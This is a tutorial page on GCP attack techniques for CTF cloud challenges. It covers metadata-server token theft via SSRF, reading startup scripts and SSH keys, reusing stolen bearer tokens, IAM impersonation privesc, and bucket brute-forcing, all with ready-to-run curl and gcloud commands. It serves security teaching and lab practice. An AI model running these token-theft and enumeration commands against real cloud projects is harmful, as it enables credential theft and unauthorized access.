GCP Attacks
Steal service-account tokens via the GCP metadata server, abuse over-broad scopes and IAM impersonation, and enumerate misconfigured buckets in CTF cloud challenges.
GCP Attacks
Google Cloud Platform CTF challenges follow the same arc as their AWS and Azure cousins: an application bug (usually SSRF) reaches the metadata server, you steal a service-account OAuth token, and you pivot through IAM to something that holds the flag — a storage bucket, a secret, or another identity. GCP's distinguishing traits are its OAuth scope model and its rich set of impersonation privileges.
Authorized targets only
Practice against intentionally-vulnerable labs you control — GCP Goat, ThunderCTF, or your own project — never live tenants you don't own. Token theft and IAM abuse against real projects is a crime.
The Metadata Server
Every Compute Engine VM, Cloud Run service, Cloud Function, and GKE pod can reach an internal metadata endpoint that issues credentials for the attached service account. Two things make it CTF-relevant: it lives at a link-local address reachable from SSRF, and every request must carry a special header.
# The header is mandatory — requests without it are refused (this is the built-in SSRF guard)
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# -> {"access_token":"ya29....","expires_in":3599,"token_type":"Bearer"}Why the header matters for SSRF
Because Metadata-Flavor: Google is required and the server
rejects requests containing an X-Forwarded-For header, a plain
GET-only SSRF often cannot reach it. You need an SSRF primitive that lets you
set request headers (or a full-request/redirect primitive). The legacy
?recursive=true&alt=json v1beta1 path historically did not
require the header — treat that as a legacy bypass to test.
High-Value Metadata Paths
BASE=http://metadata.google.internal/computeMetadata/v1
H="Metadata-Flavor: Google"
curl -s -H "$H" "$BASE/project/project-id"
curl -s -H "$H" "$BASE/instance/service-accounts/default/email" # which SA you are
curl -s -H "$H" "$BASE/instance/service-accounts/default/scopes" # what it's allowed to do
curl -s -H "$H" "$BASE/instance/service-accounts/default/token" # the bearer token
curl -s -H "$H" "$BASE/instance/attributes/?recursive=true" # startup-script, ssh-keys, secretsCustom metadata attributes (startup-script, ssh-keys, and ad-hoc keys) are a
classic place organizers stash secrets.
Scopes vs IAM — the GCP Gotcha
A token's power is the intersection of two controls:
| Control | Question it answers |
|---|---|
| IAM roles | What is this service account allowed to do across the project? |
| OAuth scopes | What is this VM's token permitted to request? |
A service account can be Editor, but if the VM was created with a narrow scope
(e.g. only devstorage.read_only), the token is limited. Conversely, the broad
https://www.googleapis.com/auth/cloud-platform scope unlocks the SA's full IAM.
Always check the scopes path first — it tells you the ceiling.
Using a Stolen Token
# Drop the token into gcloud
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29...."
gcloud config set account stolen@project.iam.gserviceaccount.com
# Or hit APIs directly
curl -s -H "Authorization: Bearer ya29...." \
"https://storage.googleapis.com/storage/v1/b?project=PROJECT_ID" # list bucketsEnumerate what the identity can do — GCP gives you a permission tester:
gcloud projects get-iam-policy PROJECT_ID
gcloud iam service-accounts list
# Brute the SA's effective permissions offline-style:
# github.com/carlospolop/gcp_enum or GCP module of PrivEsc toolsIAM Privilege Escalation
GCP privesc almost always routes through impersonation or policy edits. Look for these permissions on your current identity:
Cloud Storage (GCS) Misconfiguration
The S3-equivalent. Buckets become readable when bound to the all-principals identities:
allUsers— anyone on the internet, unauthenticated.allAuthenticatedUsers— any Google account (this is not "your org only" — it is anyone with a Google login). A frequent real-world and CTF mistake.
# Anonymous access
curl -s "https://storage.googleapis.com/BUCKET_NAME/" # XML listing if public
gcloud storage ls gs://BUCKET_NAME/ # with creds/scope
gcloud storage cp gs://BUCKET_NAME/flag.txt - # read object to stdout
# Find buckets by guessing names
# github.com/RhinoSecurityLabs/GCPBucketBrute
python3 gcpbucketbrute.py -k COMPANY -u # -u = unauthenticated checkAlso check object and bucket IAM for storage.objects.get/list granted to
your stolen identity, and look for HMAC keys and signed-URL secrets.
Tooling
| Tool | Use |
|---|---|
gcloud | Official CLI; --impersonate-service-account, print-access-token |
| GCPBucketBrute | Enumerate and test GCS bucket permissions |
| ScoutSuite | Offline multi-cloud config audit (flags GCP misconfigs) |
| gcp_enum / GCP PrivEsc scripts | Map effective permissions and escalation edges |
| hayat / PurplePanda | Graph GCP/Workspace relationships for privesc paths |
Checklist
- Confirm SSRF can set the
Metadata-Flavor: Googleheader (or use a redirect/full-request primitive) - Read the SA
email,scopes, thentokenfrom the metadata server - Check
instance/attributes/?recursive=truefor startup-script / ssh-keys / secrets - Remember power = IAM roles ∩ OAuth scopes — check
scopesfirst - Enumerate effective permissions with the stolen token
- Hunt impersonation:
getAccessToken,actAs,signJwt,serviceAccountKeys.create - Hunt policy edits:
setIamPolicyat project or resource level - Abuse deploy-to-run (Compute/Functions/Run/Cloud Build) to inherit a powerful SA
- Test GCS buckets for
allUsers/allAuthenticatedUsersand readable objects - Re-enumerate after each escalation
See Also
- AWS Metadata (IMDS) Attacks
- Azure & Entra ID Attacks
- IAM Privilege Escalation
- S3 Misconfiguration
- SSRF
Last updated on